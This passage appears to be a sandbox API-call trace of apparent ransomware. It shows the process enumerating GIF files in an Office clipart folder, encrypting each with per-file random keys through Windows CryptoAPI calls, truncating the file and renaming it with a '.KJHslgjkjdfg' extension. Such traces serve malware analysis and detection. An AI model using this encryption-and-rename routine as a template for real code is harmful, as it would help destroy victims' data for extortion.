WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x1, lpOverlapped=0x0) returned 1 [0219.536] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.537] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.537] GetProcessHeap () returned 0x990000 [0219.537] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.537] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.537] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.537] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.537] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.537] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.537] WriteFile (in: hFile=0x138, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.537] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.537] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.537] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.537] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.537] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.538] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x97f, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x97f, lpOverlapped=0x0) returned 1 [0219.538] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x980, dwBufLen=0x980 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x980) returned 1 [0219.538] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.538] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x980, lpOverlapped=0x0) returned 1 [0219.538] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.538] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xa54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.538] SetEndOfFile (hFile=0x138) returned 1 [0219.541] GetProcessHeap () returned 0x990000 [0219.541] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.541] GetProcessHeap () returned 0x990000 [0219.541] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.541] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02134_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02134_.gif.kjhslgjkjdfg")) returned 1 [0219.592] CloseHandle (hObject=0x138) returned 1 [0219.592] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x579, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02187_.GIF", cAlternateFileName="")) returned 1 [0219.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.594] GetProcessHeap () returned 0x990000 [0219.594] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.594] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.594] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.594] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x7, lpOverlapped=0x0) returned 1 [0219.596] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.596] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.596] GetProcessHeap () returned 0x990000 [0219.596] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.596] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.596] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.596] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.596] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.596] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.597] WriteFile (in: hFile=0x138, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.597] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.597] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.597] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.597] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.597] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.597] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x579, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x579, lpOverlapped=0x0) returned 1 [0219.597] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x580, dwBufLen=0x580 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x580) returned 1 [0219.597] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.597] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x580, lpOverlapped=0x0) returned 1 [0219.597] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.597] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.597] SetEndOfFile (hFile=0x138) returned 1 [0219.599] GetProcessHeap () returned 0x990000 [0219.599] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.599] GetProcessHeap () returned 0x990000 [0219.599] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.599] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02187_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02187_.gif.kjhslgjkjdfg")) returned 1 [0219.601] CloseHandle (hObject=0x138) returned 1 [0219.601] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4abc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02198_.GIF", cAlternateFileName="")) returned 1 [0219.601] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.602] GetProcessHeap () returned 0x990000 [0219.602] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.602] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.602] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.602] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.607] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.607] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.607] GetProcessHeap () returned 0x990000 [0219.607] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.607] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.607] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.607] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.608] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.608] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.608] WriteFile (in: hFile=0x138, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.608] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.608] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.608] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.608] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.608] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.608] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4abc, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x4abc, lpOverlapped=0x0) returned 1 [0219.609] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4ac0, dwBufLen=0x4ac0 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x4ac0) returned 1 [0219.609] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.609] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4ac0, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x4ac0, lpOverlapped=0x0) returned 1 [0219.609] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.609] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x4b94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.609] SetEndOfFile (hFile=0x138) returned 1 [0219.617] GetProcessHeap () returned 0x990000 [0219.617] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.617] GetProcessHeap () returned 0x990000 [0219.617] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.617] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02198_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02198_.gif.kjhslgjkjdfg")) returned 1 [0219.620] CloseHandle (hObject=0x138) returned 1 [0219.620] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1653, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02201_.GIF", cAlternateFileName="")) returned 1 [0219.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.621] GetProcessHeap () returned 0x990000 [0219.621] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.621] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.621] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.621] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0xd, lpOverlapped=0x0) returned 1 [0219.623] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.623] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.623] GetProcessHeap () returned 0x990000 [0219.623] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.623] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.623] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.623] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.623] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29deff0*, lpNumberOfBytesWritten=0x29defe8*=0x4, lpOverlapped=0x0) returned 1 [0219.623] WriteFile (in: hFile=0x138, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29defe8*=0x10, lpOverlapped=0x0) returned 1 [0219.624] WriteFile (in: hFile=0x138, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29defe8*=0x80, lpOverlapped=0x0) returned 1 [0219.624] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df010 | out: lpNewFilePointer=0x0) returned 1 [0219.624] WriteFile (in: hFile=0x138, lpBuffer=0x29df000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df000*, lpNumberOfBytesWritten=0x29defe8*=0x8, lpOverlapped=0x0) returned 1 [0219.624] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.624] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.624] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.624] ReadFile (in: hFile=0x138, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1653, lpNumberOfBytesRead=0x29deff4, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29deff4*=0x1653, lpOverlapped=0x0) returned 1 [0219.625] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1660, dwBufLen=0x1660 | out: pbData=0x27d0020*, pdwDataLen=0x29defd0*=0x1660) returned 1 [0219.625] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.625] WriteFile (in: hFile=0x138, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1660, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29defe8*=0x1660, lpOverlapped=0x0) returned 1 [0219.625] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.625] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x1734, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.625] SetEndOfFile (hFile=0x138) returned 1 [0219.627] GetProcessHeap () returned 0x990000 [0219.627] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.627] GetProcessHeap () returned 0x990000 [0219.627] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.627] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02201_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02201_.gif.kjhslgjkjdfg")) returned 1 [0219.629] CloseHandle (hObject=0x138) returned 1 [0219.629] FindNextFileW (in: hFindFile=0x9b6628, lpFindFileData=0x29df078 | out: lpFindFileData=0x29df078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x136b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WB02214_.GIF", cAlternateFileName="")) returned 1 [0219.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02214_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\publisher\\backgrounds\\wb02214_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x138 [0219.630] GetProcessHeap () returned 0x990000 [0219.630] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.630] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.630] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df008 | out: lpNewFilePointer=0x0) returned 1 [0219.630] WriteFile (in: hFile=0x138, lpBuffer=0x29df018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x29df018*, lpNumberOfBytesWritten=0x29defe8*=0x5, lpOverlapped=0x0) returned 1 [0219.632] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29defec | out: phKey=0x29defec*=0x9b6668) returned 1 [0219.632] CryptSetKeyParam (hKey=0x9b6668, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.632] GetProcessHeap () returned 0x990000 [0219.632] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.632] CryptEncrypt (in: hKey=0x9b6668, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29defd0*=0x40) returned 1 [0219.632] CryptDestroyKey (hKey=0x9b6668) returned 1 [0219.632] WriteFile (in: hFile=0x138, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29defe8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29defe8*=0x40, lpOverlapped=0x0) returned 1 [0219.632] WriteFile (in: hFile=0x138, lpBuffer=0x29deff0*, 